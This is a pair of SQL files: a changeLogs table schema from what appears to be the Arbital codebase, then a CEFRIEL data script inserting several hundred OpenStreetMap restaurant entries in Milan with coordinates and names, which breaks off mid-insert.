<reponame>machine-intelligence/arbital-open-source /* This table contains an entry for every change that a page undergoes. */ CREATE TABLE changeLogs ( /* Unique update id. PK. */ id BIGINT NOT NULL AUTO_INCREMENT, /* Likeable id for this changelog. Partial FK into likes. Note that this is not set until the first time this changelog is liked. */ likeableId BIGINT NOT NULL, /* The user who caused this event. FK into users. */ userId VARCHAR(32) NOT NULL, /* The affected page. FK into pages. */ pageId VARCHAR(32) NOT NULL, /* Optional edit number of the affected page. Partial FK into pages. */ edit INT NOT NULL, /* Type of update */ type VARCHAR(32) NOT NULL, /* When this update was created. */ createdAt DATETIME NOT NULL, /* This is set for various events. E.g. if a new parent is added, this will be set to the parent id. */ auxPageId VARCHAR(32) NOT NULL, /* So that we can show what changed in the change log. */ oldSettingsValue VARCHAR(1024) NOT NULL, newSettingsValue VARCHAR(1024) NOT NULL, PRIMARY KEY(id) ) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
/* * (C) Copyright 2018 CEFRIEL (http://www.cefriel.com/). * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * Contributors: * <NAME>, <NAME>, <NAME>. */ LOCK TABLES resource WRITE; INSERT INTO resource (refId, lat, `long`, orderBy, label, url) VALUES ('http://www.openstreetmap.org/node/267033956',45.4944919,9.221509, rand(),'Da Marco', ''), ('http://www.openstreetmap.org/node/281819160',45.4887909,9.1966345, rand(),'Da Berti', ''), ('http://www.openstreetmap.org/node/282549040',45.4944891,9.1959957, rand(),'a Riccione', ''), ('http://www.openstreetmap.org/node/298986524',45.4786671,9.1892849, rand(),'Daniel', ''), ('http://www.openstreetmap.org/node/408093964',45.5239109,9.1925821, rand(),'San Giorgio', ''), ('http://www.openstreetmap.org/node/411817770',45.4812546,9.1860677, rand(),'La Fabbrica', ''), ('http://www.openstreetmap.org/node/426661822',45.4910278,9.1535348, rand(),'NihonKai', ''), ('http://www.openstreetmap.org/node/540813379',45.4855986,9.1627584, rand(),'Positano', ''), ('http://www.openstreetmap.org/node/540813444',45.4837794,9.1642847, rand(),'La Rosa dei Venti', ''), ('http://www.openstreetmap.org/node/540813456',45.4811153,9.1644158, rand(),'Anema e Cozze', ''), ('http://www.openstreetmap.org/node/540824133',45.4816749,9.1636918, rand(),'Aquarius', ''), ('http://www.openstreetmap.org/node/552807863',45.5153907,9.1725432, rand(),'AL 73', ''), ('http://www.openstreetmap.org/node/718857128',45.4812967,9.2056948, rand(),'Settembrini 18', ''), ('http://www.openstreetmap.org/node/931892027',45.5394772,9.2226417, rand(),'San Giovanni 2', ''), ('http://www.openstreetmap.org/node/1118672491',45.4919675,9.2163114, rand(),'Blue Nami', ''), ('http://www.openstreetmap.org/node/1149659959',45.5025816,9.2246935, rand(),'Pizzeria Martesana', ''), ('http://www.openstreetmap.org/node/1149660002',45.5049014,9.2231053, rand(),'La Scalea', ''), ('http://www.openstreetmap.org/node/1189928685',45.4841413,9.1636818, rand(),'Mela Rossa', ''), ('http://www.openstreetmap.org/node/1189928766',45.4846332,9.1643979, rand(),'Bon Wei', ''), ('http://www.openstreetmap.org/node/1189928772',45.4848074,9.1650801, rand(),'Osteria delle Corti', ''), ('http://www.openstreetmap.org/node/1189928789',45.4834359,9.1655052, rand(),'La sirena partenope', ''), ('http://www.openstreetmap.org/node/1253820481',45.4863171,9.1866888, rand(),'Osteria dei Vecchi Sapori', ''), ('http://www.openstreetmap.org/node/1279695347',45.4819876,9.2131304, rand(),'Spontini', ''), ('http://www.openstreetmap.org/node/1347179131',45.4889025,9.2109699, rand(),'PizzaBig', ''), ('http://www.openstreetmap.org/node/1463921448',45.4855692,9.1976112, rand(),'Yang', ''), ('http://www.openstreetmap.org/node/1525006558',45.5193207,9.169975, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/1525006594',45.5210579,9.1691899, rand(),'Ristorante pizzeria I due pini', ''), ('http://www.openstreetmap.org/node/1525186201',45.5121684,9.1704534, rand(),'La Piccola Trattoria', ''), ('http://www.openstreetmap.org/node/1593183881',45.5092128,9.2026871, rand(),'Pizzeria Da Pino', ''), ('http://www.openstreetmap.org/node/1593187668',45.5086639,9.2004984, rand(),'Pizzeria Pratocentenaro', ''), ('http://www.openstreetmap.org/node/1593793939',45.5067569,9.2014068, rand(),'Al Desiderio', ''), ('http://www.openstreetmap.org/node/1614193683',45.4839694,9.2425222, rand(),'Koshin', ''), ('http://www.openstreetmap.org/node/1651694685',45.5048616,9.1850903, rand(),'Ai 3 Scugnizzi', ''), ('http://www.openstreetmap.org/node/1652682808',45.4802026,9.2195274, rand(),'Mandarin 2', ''), ('http://www.openstreetmap.org/node/1652682809',45.4797273,9.2210821, rand(),'Bontà Più', ''), ('http://www.openstreetmap.org/node/1652682818',45.479291,9.2210553, rand(),'Hot Meeting', ''), ('http://www.openstreetmap.org/node/1652682819',45.4813695,9.2177821, rand(),'Trattoria Ambrosiana', ''), ('http://www.openstreetmap.org/node/1652682820',45.4802125,9.2205886, rand(),'Starrise', ''), ('http://www.openstreetmap.org/node/1652682821',45.4816606,9.2173861, rand(),'Piccola Ischia', ''), ('http://www.openstreetmap.org/node/1652682826',45.4789939,9.2209909, rand(),'Milord', ''), ('http://www.openstreetmap.org/node/1652682827',45.4794999,9.2214065, rand(),'DiVino', ''), ('http://www.openstreetmap.org/node/1652687577',45.4833612,9.2229063, rand(),'Il Glicine', ''), ('http://www.openstreetmap.org/node/1679597950',45.4822893,9.2301928, rand(),'La Cuccagna', ''), ('http://www.openstreetmap.org/node/1679694006',45.4811202,9.2348736, rand(),'Il Postino', ''), ('http://www.openstreetmap.org/node/1696116655',45.5110468,9.2148813, rand(),'Pescato e Mangiato', ''), ('http://www.openstreetmap.org/node/1898618690',45.536145,9.1875611, rand(),'Weekend', ''), ('http://www.openstreetmap.org/node/1898618693',45.5317258,9.1900339, rand(),'Mirò', ''), ('http://www.openstreetmap.org/node/1901845026',45.4910687,9.2251197, rand(),'Misaki', ''), ('http://www.openstreetmap.org/node/1918683463',45.4845175,9.2423477, rand(),'La Cappelletta', ''), ('http://www.openstreetmap.org/node/1923630874',45.4820211,9.2290715, rand(),'La Cuccuma', ''), ('http://www.openstreetmap.org/node/1923842119',45.4805408,9.2164729, rand(),'Osteria La Bistecca', ''), ('http://www.openstreetmap.org/node/1970699197',45.481866,9.2325362, rand(),'Pizza & Pizza', ''), ('http://www.openstreetmap.org/node/1978573760',45.4851934,9.2166526, rand(),'Stop', ''), ('http://www.openstreetmap.org/node/1978573778',45.4842461,9.2255638, rand(),'La Brusada', ''), ('http://www.openstreetmap.org/node/1980664123',45.4975072,9.2203949, rand(),'Due Chef', ''), ('http://www.openstreetmap.org/node/1995563419',45.5014222,9.2096672, rand(),'Il Borghetto - Antica trattoria', ''), ('http://www.openstreetmap.org/node/1998501565',45.4813082,9.2423876, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/1998501566',45.4814229,9.2427832, rand(),'L''angolo', ''), ('http://www.openstreetmap.org/node/1999671118',45.48355,9.2426115, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/1999869345',45.484008,9.2405689, rand(),'Il calabrone 2', ''), ('http://www.openstreetmap.org/node/2000046689',45.4786123,9.2470246, rand(),'115', ''), ('http://www.openstreetmap.org/node/2024580674',45.4822338,9.240079, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/2104112893',45.4887822,9.1826076, rand(),'O<NAME> Farini', ''), ('http://www.openstreetmap.org/node/2120097812',45.4790509,9.1783022, rand(),'La cantina del Giannone', ''), ('http://www.openstreetmap.org/node/2162395707',45.4810427,9.2039148, rand(),'Ant<NAME>', ''), ('http://www.openstreetmap.org/node/2208093947',45.4802242,9.1864125, rand(),'Vasinikò', ''), ('http://www.openstreetmap.org/node/2214966862',45.4960239,9.2199225, rand(),'Rovereto', ''), ('http://www.openstreetmap.org/node/2215015116',45.4955071,9.219732, rand(),'Jun''s Mea', ''), ('http://www.openstreetmap.org/node/2225549092',45.4953223,9.2072361, rand(),'Fei Yun Ge', ''), ('http://www.openstreetmap.org/node/2232047187',45.5179843,9.220804, rand(),'Il riccone', ''), ('http://www.openstreetmap.org/node/2250905673',45.4840919,9.2173173, rand(),'Felice', ''), ('http://www.openstreetmap.org/node/2272594742',45.4838771,9.1819259, rand(),'Enoteca Huaxia', ''), ('http://www.openstreetmap.org/node/2272857766',45.5220977,9.1708018, rand(),'Piscinin Ristorante', ''), ('http://www.openstreetmap.org/node/2310497628',45.485643,9.2331665, rand(),'Mediterranea', ''), ('http://www.openstreetmap.org/node/2328648627',45.4888687,9.2301045, rand(),'La pizza dal 1964', ''), ('http://www.openstreetmap.org/node/2328659106',45.4889166,9.2296472, rand(),'Ristorante Cinese Xing Long', ''), ('http://www.openstreetmap.org/node/2341042330',45.4823186,9.1875639, rand(),'Rocking Horse', ''), ('http://www.openstreetmap.org/node/2372953655',45.4807316,9.233323, rand(),'Il gabbiano', ''), ('http://www.openstreetmap.org/node/2381909422',45.5367048,9.1923075, rand(),'Maestri e mestieri', ''), ('http://www.openstreetmap.org/node/2385882116',45.5377246,9.177639, rand(),'Ristorante dei Bravi', ''), ('http://www.openstreetmap.org/node/2387910034',45.5004969,9.2247451, rand(),'Pizzeria Cleopatra', ''), ('http://www.openstreetmap.org/node/2408292325',45.4997504,9.2265347, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/2416148154',45.4806591,9.182606, rand(),'Zushi', ''), ('http://www.openstreetmap.org/node/2417414833',45.4883605,9.2049018, rand(),'Calipso', ''), ('http://www.openstreetmap.org/node/2417414839',45.4871393,9.2012042, rand(),'Pizza Italiana', ''), ('http://www.openstreetmap.org/node/2417414844',45.4832616,9.1980193, rand(),'Ta Hua', ''), ('http://www.openstreetmap.org/node/2419130541',45.4925972,9.1886628, rand(),'Pizzeria Alla Fontana', ''), ('http://www.openstreetmap.org/node/2419130557',45.4930183,9.1883609, rand(),'Pizzeria alla Fontana', ''), ('http://www.openstreetmap.org/node/2419130560',45.491624,9.1917798, rand(),'Old Wild West', ''), ('http://www.openstreetmap.org/node/2446058902',45.4876255,9.1875046, rand(),'Ristorante Pizzeria Notre Dame', ''), ('http://www.openstreetmap.org/node/2446058904',45.4888176,9.1892147, rand(),'La Balena', ''), ('http://www.openstreetmap.org/node/2456044340',45.4859277,9.1869256, rand(),'Trattoria il Marinaio', ''), ('http://www.openstreetmap.org/node/2456061024',45.4861685,9.1883768, rand(),'Little Italy Pizza', ''), ('http://www.openstreetmap.org/node/2456088117',45.4877353,9.1918014, rand(),'Yao Fusion Restaurant Isola', ''), ('http://www.openstreetmap.org/node/2476920320',45.4801179,9.195113, rand(),'Tre Cristi', ''), ('http://www.openstreetmap.org/node/2479415681',45.4871335,9.1868745, rand(),'Bar Pizzeria L''Isola', ''), ('http://www.openstreetmap.org/node/2479429494',45.4879373,9.1875906, rand(),'La Cantinetta', ''), ('http://www.openstreetmap.org/node/2488613455',45.4888963,9.1886814, rand(),'Il Cormorano', ''), ('http://www.openstreetmap.org/node/2488621616',45.4892,9.18741, rand(),'Nisida', ''), ('http://www.openstreetmap.org/node/2488621656',45.4889791,9.1877761, rand(),'Il Bue e la Patata', ''), ('http://www.openstreetmap.org/node/2488644315',45.4895874,9.1858114, rand(),'Gen Kai', ''), ('http://www.openstreetmap.org/node/2488665014',45.4902736,9.1885848, rand(),'R<NAME>', ''), ('http://www.openstreetmap.org/node/2524613439',45.4852203,9.1823286, rand(),'Grani & Braci', ''), ('http://www.openstreetmap.org/node/2533816718',45.4846066,9.2172887, rand(),'Abruzzi 88', ''), ('http://www.openstreetmap.org/node/2535429045',45.4796655,9.2044743, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/2535455873',45.4945418,9.1847273, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/2567579755',45.5010707,9.2214501, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/2567579756',45.5016266,9.2285976, rand(),'P<NAME>', ''), ('http://www.openstreetmap.org/node/2587833189',45.502967,9.1619773, rand(),'Ovosodo', ''), ('http://www.openstreetmap.org/node/2647217129',45.4869276,9.2193417, rand(),'i tre ela', ''), ('http://www.openstreetmap.org/node/2664291876',45.4808167,9.1705346, rand(),'Ciripizza', ''), ('http://www.openstreetmap.org/node/2669977996',45.4921386,9.2163516, rand(),'Osteria della Pasta e Fagioli', ''), ('http://www.openstreetmap.org/node/2724139156',45.4811442,9.188507, rand(),'Origami', ''), ('http://www.openstreetmap.org/node/2724150451',45.4819727,9.1883773, rand(),'AD Sushi and More', ''), ('http://www.openstreetmap.org/node/2724178337',45.4820699,9.1875099, rand(),'Ristorante Pizzeria All''Isola', ''), ('http://www.openstreetmap.org/node/2724252427',45.4815582,9.1873551, rand(),'Alla Cucina delle Langhe', ''), ('http://www.openstreetmap.org/node/2724252528',45.4816726,9.1873922, rand(),'Pizzeria di Porta Garibaldi', ''), ('http://www.openstreetmap.org/node/2724262376',45.4809803,9.1878602, rand(),'Sakura', ''), ('http://www.openstreetmap.org/node/2727958828',45.4841661,9.2224356, rand(),'Non Solo Pizza', ''), ('http://www.openstreetmap.org/node/2743753622',45.5244187,9.1926657, rand(),'Eolian', ''), ('http://www.openstreetmap.org/node/2773073446',45.5169937,9.1713465, rand(),'La Pianta', ''), ('http://www.openstreetmap.org/node/2794695999',45.4882072,9.1622621, rand(),'Il Piccolo Padre', ''), ('http://www.openstreetmap.org/node/2916020157',45.4846086,9.2165504, rand(),'GROG', ''), ('http://www.openstreetmap.org/node/2946349307',45.4798103,9.1893547, rand(),'Carlsberg''s Ol', ''), ('http://www.openstreetmap.org/node/2947888053',45.4817879,9.1840786, rand(),'Antica Trattoria della Pesa', ''), ('http://www.openstreetmap.org/node/2950390186',45.5140654,9.2175542, rand(),'Trattoria Milano la Fornasetta', ''), ('http://www.openstreetmap.org/node/3013819280',45.5362488,9.1848576, rand(),'Il filo di Aurora. Bistrot sociale Caffè cucina e oltre', ''), ('http://www.openstreetmap.org/node/3049154290',45.483618,9.1818463, rand(),'Da Martino', ''), ('http://www.openstreetmap.org/node/3049154294',45.4830186,9.1817603, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3049189466',45.4836978,9.1815579, rand(),'Da Franco', ''), ('http://www.openstreetmap.org/node/3049189468',45.4832212,9.1817917, rand(),'Jasmin Orange', ''), ('http://www.openstreetmap.org/node/3049189469',45.4833807,9.1829195, rand(),'Mics', ''), ('http://www.openstreetmap.org/node/3049189470',45.4831282,9.1817696, rand(),'Mitsui', ''), ('http://www.openstreetmap.org/node/3049189587',45.4837152,9.1818776, rand(),'You Yi', ''), ('http://www.openstreetmap.org/node/3078963340',45.4806695,9.1887328, rand(),'Curò Ristorante', ''), ('http://www.openstreetmap.org/node/3078973271',45.4809079,9.1889601, rand(),'Sciatt a Porter', ''), ('http://www.openstreetmap.org/node/3079034076',45.4807705,9.1926856, rand(),'Sweet', ''), ('http://www.openstreetmap.org/node/3089010948',45.4898939,9.1535786, rand(),'Pizza Max', ''), ('http://www.openstreetmap.org/node/3100896007',45.4872826,9.1670054, rand(),'P<NAME>', ''), ('http://www.openstreetmap.org/node/3147153702',45.4875524,9.1901707, rand(),'Terra Mia', ''), ('http://www.openstreetmap.org/node/3147175277',45.4896986,9.188886, rand(),'Osteria Borsieri', ''), ('http://www.openstreetmap.org/node/3217982355',45.4826039,9.1989669, rand(),'Osteria Angelino', ''), ('http://www.openstreetmap.org/node/3217982517',45.4825395,9.1989073, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3217982897',45.4816161,9.1973941, rand(),'Hosteria La Cadrega', ''), ('http://www.openstreetmap.org/node/3217984347',45.4841985,9.2017064, rand(),'688 Restaurant', ''), ('http://www.openstreetmap.org/node/3224940167',45.4889421,9.2261166, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3294394818',45.5148158,9.1694856, rand(),'Osteria del Biliardo', ''), ('http://www.openstreetmap.org/node/3307148038',45.4789608,9.1885936, rand(),'Zaza Ramen', ''), ('http://www.openstreetmap.org/node/3313820158',45.4949809,9.1983729, rand(),'Da Pippo si magna', ''), ('http://www.openstreetmap.org/node/3314056205',45.488407,9.2040284, rand(),'Le Chalet', ''), ('http://www.openstreetmap.org/node/3314623499',45.5000271,9.2216776, rand(),'Il Tegamino', ''), ('http://www.openstreetmap.org/node/3331690456',45.5311468,9.2166256, rand(),'Grand Hotel Villa Torretta', ''), ('http://www.openstreetmap.org/node/3334118852',45.4993894,9.225069, rand(),'Circolo ARCI Martiri di Turro', ''), ('http://www.openstreetmap.org/node/3343916120',45.4981874,9.1977634, rand(),'BEEFSTROT', ''), ('http://www.openstreetmap.org/node/3366590153',45.4819432,9.1747043, rand(),'Ristorante Monte Oro', ''), ('http://www.openstreetmap.org/node/3368777731',45.4892607,9.1891885, rand(),'Sofia chinesebistro', ''), ('http://www.openstreetmap.org/node/3369942685',45.4878388,9.1894715, rand(),'La Coccinella', ''), ('http://www.openstreetmap.org/node/3386286622',45.4889616,9.1847637, rand(),'Amici della Pizza', ''), ('http://www.openstreetmap.org/node/3386286627',45.4894684,9.1833367, rand(),'L''Angolino', ''), ('http://www.openstreetmap.org/node/3386286628',45.4893324,9.182939, rand(),'L''Aquila d''Oro', ''), ('http://www.openstreetmap.org/node/3416949993',45.4842997,9.2346889, rand(),'Anthony', ''), ('http://www.openstreetmap.org/node/3442415282',45.530118,9.2480242, rand(),'La Fornace', ''), ('http://www.openstreetmap.org/node/3446536469',45.486004,9.2327145, rand(),'Mondipizza', ''), ('http://www.openstreetmap.org/node/3448550162',45.4804457,9.192291, rand(),'I Tesori del Mare', ''), ('http://www.openstreetmap.org/node/3501250330',45.4801766,9.2029519, rand(),'L''Antro della Sibilla', ''), ('http://www.openstreetmap.org/node/3501269714',45.4803392,9.2017007, rand(),'Su Garden', ''), ('http://www.openstreetmap.org/node/3514100136',45.4852774,9.2296911, rand(),'Ciccio Pizza', ''), ('http://www.openstreetmap.org/node/3521819300',45.4898106,9.1831493, rand(),'Il Desiderio 2', ''), ('http://www.openstreetmap.org/node/3540093939',45.5323786,9.2327544, rand(),'Pizza d''Amore', ''), ('http://www.openstreetmap.org/node/3541208290',45.5313253,9.2365568, rand(),'Tris Bar Pizzeria', ''), ('http://www.openstreetmap.org/node/3605721565',45.4822758,9.1796969, rand(),'Little Lamb', ''), ('http://www.openstreetmap.org/node/3605721831',45.4816066,9.1795041, rand(),'Jubin', ''), ('http://www.openstreetmap.org/node/3605724824',45.4815783,9.1803355, rand(),'Dong Ya', ''), ('http://www.openstreetmap.org/node/3612908814',45.510428,9.2186259, rand(),'Pizza D''ok', ''), ('http://www.openstreetmap.org/node/3655623506',45.4804696,9.1831214, rand(),'Shanji', ''), ('http://www.openstreetmap.org/node/3655623507',45.4790417,9.1843826, rand(),'Sumire', ''), ('http://www.openstreetmap.org/node/3655623510',45.482374,9.1819842, rand(),'Wakaba', ''), ('http://www.openstreetmap.org/node/3655625019',45.4820624,9.1829233, rand(),'Nook', ''), ('http://www.openstreetmap.org/node/3655625137',45.4822121,9.1823652, rand(),'Mun', ''), ('http://www.openstreetmap.org/node/3686990216',45.4808627,9.1794635, rand(),'Trattoria Cinese', ''), ('http://www.openstreetmap.org/node/3686990218',45.4800759,9.1812391, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3718651414',45.5113548,9.2545951, rand(),'Antica Trattoria Milano', ''), ('http://www.openstreetmap.org/node/3719675167',45.5059371,9.2228967, rand(),'Ristorante Positano', ''), ('http://www.openstreetmap.org/node/3719677463',45.5061916,9.2233495, rand(),'Zagara', ''), ('http://www.openstreetmap.org/node/3719678034',45.5047874,9.2220918, rand(),'Osteria Zio Nino', ''), ('http://www.openstreetmap.org/node/3758912402',45.4821259,9.1978339, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3758912416',45.4826556,9.1980147, rand(),'Osteria Qui da Noi', ''), ('http://www.openstreetmap.org/node/3758916096',45.4833885,9.1974154, rand(),'Kingyo', ''), ('http://www.openstreetmap.org/node/3758916113',45.4817928,9.1974783, rand(),'Trattoria La Fattoria', ''), ('http://www.openstreetmap.org/node/3758916381',45.4830466,9.1984219, rand(),'Leon d''Oro', ''), ('http://www.openstreetmap.org/node/3758918503',45.4823229,9.1976929, rand(),'Trattoria Il Paiolo', ''), ('http://www.openstreetmap.org/node/3770135764',45.4857711,9.2094518, rand(),'Altravia Bistrot', ''), ('http://www.openstreetmap.org/node/3780580941',45.5072078,9.2075749, rand(),'Osteria del Comune Antico', ''), ('http://www.openstreetmap.org/node/3780581779',45.5076169,9.2036845, rand(),'Nisida', ''), ('http://www.openstreetmap.org/node/3799689447',45.4805838,9.1971315, rand(),'Al Galileo', ''), ('http://www.openstreetmap.org/node/3799690258',45.4786894,9.1856855, rand(),'Bento Sushi', ''), ('http://www.openstreetmap.org/node/3817760892',45.4847983,9.2105145, rand(),'Da Sasà', ''), ('http://www.openstreetmap.org/node/3817766828',45.4831145,9.209744, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3817767679',45.4834021,9.210041, rand(),'Mediterranea', ''), ('http://www.openstreetmap.org/node/3817767681',45.4838549,9.2099503, rand(),'Noblesse Oblige', ''), ('http://www.openstreetmap.org/node/3817768647',45.4847408,9.210068, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3817768799',45.4846343,9.2108151, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3820402921',45.481675,9.2197565, rand(),'Amalfitana', ''), ('http://www.openstreetmap.org/node/3834919445',45.5381022,9.2381856, rand(),'Al Pomo d''Oro', ''), ('http://www.openstreetmap.org/node/3834922758',45.5381303,9.2347182, rand(),'La Capitale Cinese', ''), ('http://www.openstreetmap.org/node/3834926047',45.5381638,9.237468, rand(),'Ristorante Pizzeria San Giovanni', ''), ('http://www.openstreetmap.org/node/3834926049',45.5358958,9.2330504, rand(),'Vento di Sardegna', ''), ('http://www.openstreetmap.org/node/3848619950',45.4833792,9.2045867, rand(),'LePetit', ''), ('http://www.openstreetmap.org/node/3848621553',45.4842432,9.2049288, rand(),'Duca 14', ''), ('http://www.openstreetmap.org/node/3848621555',45.4844078,9.2056464, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3848621676',45.483354,9.2033662, rand(),'La Buca', ''), ('http://www.openstreetmap.org/node/3848621993',45.4829357,9.2033473, rand(),'Osteria Italiana', ''), ('http://www.openstreetmap.org/node/3848624522',45.4812226,9.2012419, rand(),'Osteria del Treno', ''), ('http://www.openstreetmap.org/node/3848624793',45.4838266,9.2053692, rand(),'Xier', ''), ('http://www.openstreetmap.org/node/3899392286',45.4862113,9.2325441, rand(),'Le Fontanelle', ''), ('http://www.openstreetmap.org/node/3902612558',45.5292477,9.2698699, rand(),'100 Barolo', ''), ('http://www.openstreetmap.org/node/3935587733',45.5020205,9.1999254, rand(),'Moon', ''), ('http://www.openstreetmap.org/node/3935591399',45.5002206,9.1988069, rand(),'Ristorante La Sirenella', ''), ('http://www.openstreetmap.org/node/3939317826',45.4822767,9.1996645, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3942887880',45.5181123,9.2439658, rand(),'Ristorante Pizzeria La Stella', ''), ('http://www.openstreetmap.org/node/3946189557',45.4904303,9.212359, rand(),'Da Sabatino', ''), ('http://www.openstreetmap.org/node/3965006457',45.5017232,9.2102524, rand(),'La Basilicata', ''), ('http://www.openstreetmap.org/node/3976146191',45.4915265,9.1842097, rand(),'L''Angolo della Pizza', ''), ('http://www.openstreetmap.org/node/3976146192',45.4903397,9.1836978, rand(),'M<NAME>', ''), ('http://www.openstreetmap.org/node/3976300528',45.4910592,9.1968768, rand(),'RockBurger', ''), ('http://www.openstreetmap.org/node/3976300529',45.4884672,9.1945007, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3989817016',45.4856744,9.1920215, rand(),'Pizzeria Naturale', ''), ('http://www.openstreetmap.org/node/4026789103',45.5149131,9.2118461, rand(),'Enikma', ''), ('http://www.openstreetmap.org/node/4026789104',45.515189,9.2117465, rand(),'Farinami', ''), ('http://www.openstreetmap.org/node/4028037575',45.4870646,9.1888333, rand(),'Fatto Bene Burger', ''), ('http://www.openstreetmap.org/node/4028219024',45.4838901,9.1890313, rand(),'Ca'' Pelletti', ''), ('http://www.openstreetmap.org/node/4041795555',45.4917909,9.2076393, rand(),'Ristorante Terra e Mare', ''), ('http://www.openstreetmap.org/node/4041811934',45.4914609,9.2074288, rand(),'Al Cuoco di Bordo', ''), ('http://www.openstreetmap.org/node/4041811935',45.4915239,9.2076487, rand(),'Antica Osteria di Via Gluck', ''), ('http://www.openstreetmap.org/node/4041811943',45.4902636,9.2058335, rand(),'Coco', ''), ('http://www.openstreetmap.org/node/4041811951',45.4948321,9.2116056, rand(),'Mercato del Pesce', ''), ('http://www.openstreetmap.org/node/4041812175',45.4885013,9.2050938, rand(),'Mari e Sapori', ''), ('http://www.openstreetmap.org/node/4041812883',45.4894697,9.2051072, rand(),'Ristorante Pizzeria Al Vesuvio', ''), ('http://www.openstreetmap.org/node/4041812884',45.4951593,9.2115076, rand(),'Ristorante Pizzeria La Caletta', ''), ('http://www.openstreetmap.org/node/4092140235',45.5121288,9.2237989, rand(),'Quik Service', ''), ('http://www.openstreetmap.org/node/4142385789',45.4839267,9.1891393, rand(),'Alice', ''), ('http://www.openstreetmap.org/node/4142388217',45.4933749,9.1817808, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4176495830',45.4820875,9.1994295, rand(),'Ristorante via Marangoni', ''), ('http://www.openstreetmap.org/node/4207085387',45.487704,9.1702158, rand(),'Wok of Milan', ''), ('http://www.openstreetmap.org/node/4207086022',45.487317,9.1696651, rand(),'Pri<NAME>', ''), ('http://www.openstreetmap.org/node/4226277701',45.4890955,9.1885815, rand(),'Casa Ramen', ''), ('http://www.openstreetmap.org/node/4270847043',45.495932,9.1922021, rand(),'Calafuria', ''), ('http://www.openstreetmap.org/node/4274875893',45.4791579,9.2090683, rand(),'Sabatini', ''), ('http://www.openstreetmap.org/node/4277852324',45.4874753,9.2096151, rand(),'Sunrise', ''), ('http://www.openstreetmap.org/node/4277859435',45.4882317,9.2099705, rand(),'Rosso Mattone', ''), ('http://www.openstreetmap.org/node/4315479281',45.4977324,9.1700701, rand(),'Sushi Ran', ''), ('http://www.openstreetmap.org/node/4315739089',45.4815615,9.1848325, rand(),'Hang Zhou', ''), ('http://www.openstreetmap.org/node/4343404690',45.4916802,9.213299, rand(),'Mamma Orsa 2', ''), ('http://www.openstreetmap.org/node/4344217207',45.5074279,9.2039029, rand(),'P<NAME>', ''), ('http://www.openstreetmap.org/node/4394860242',45.4838586,9.1889392, rand(),'Italian Bakery', ''), ('http://www.openstreetmap.org/node/4394863015',45.4838069,9.1888601, rand(),'Musubi', ''), ('http://www.openstreetmap.org/node/4424654968',45.5164881,9.20898, rand(),'Sushi 187', ''), ('http://www.openstreetmap.org/node/4424655811',45.5182007,9.2083107, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4424657435',45.5149714,9.2059631, rand(),'Pizza a Pezzi', ''), ('http://www.openstreetmap.org/node/4424657436',45.5182984,9.2078115, rand(),'Ristorante Arcieri', ''), ('http://www.openstreetmap.org/node/4426482289',45.5024027,9.2111347, rand(),'L'' Atmosfera', ''), ('http://www.openstreetmap.org/node/4496388369',45.4789098,9.2034321, rand(),'Il Caminetto', ''), ('http://www.openstreetmap.org/node/4506047018',45.4820997,9.2107602, rand(),'The Kitchen', ''), ('http://www.openstreetmap.org/node/4513542946',45.4914853,9.2231753, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4525399914',45.4785339,9.1814629, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4550031269',45.4929064,9.1989144, rand(),'Finger''s Garden', ''), ('http://www.openstreetmap.org/node/4552414994',45.5019796,9.1659395, rand(),'Il Bucatino con Giardino', ''), ('http://www.openstreetmap.org/node/4568358432',45.5086591,9.2023598, rand(),'Kasei', ''), ('http://www.openstreetmap.org/node/4584486999',45.4949227,9.1870429, rand(),'Mare in Pasta', ''), ('http://www.openstreetmap.org/node/4621714390',45.4922987,9.206262, rand(),'Ristorante Pizzeria San Mina', ''), ('http://www.openstreetmap.org/node/4662950350',45.5115573,9.2155585, rand(),'Ristorante Hon', ''), ('http://www.openstreetmap.org/node/4690872831',45.4803709,9.1610996, rand(),'Ristorante Il Pesciolino', ''), ('http://www.openstreetmap.org/node/4715317440',45.4843941,9.1678212, rand(),'B2 Burger & Beer', ''), ('http://www.openstreetmap.org/node/4760545985',45.5002199,9.2213876, rand(),'Cala bianca', ''), ('http://www.openstreetmap.org/node/4769098429',45.5160236,9.2460886, rand(),'Al portico', ''), ('http://www.openstreetmap.org/node/4782421146',45.5326178,9.2284134, rand(),'Fuji', ''), ('http://www.openstreetmap.org/node/4782439643',45.5345804,9.229872, rand(),'Ristorante Pentola d''Oro', ''), ('http://www.openstreetmap.org/node/4782439750',45.534601,9.2301496, rand(),'Genki', ''), ('http://www.openstreetmap.org/node/4790436252',45.5172936,9.1876402, rand(),'Trattoria popolare alla Manu', ''), ('http://www.openstreetmap.org/node/4829547288',45.5163378,9.2448727, rand(),'Moon sushi restaurant', ''), ('http://www.openstreetmap.org/node/4838976422',45.4851932,9.1982487, rand(),'Qui si mangia', ''), ('http://www.openstreetmap.org/node/4840655040',45.4899138,9.1895328, rand(),'Assaje', ''), 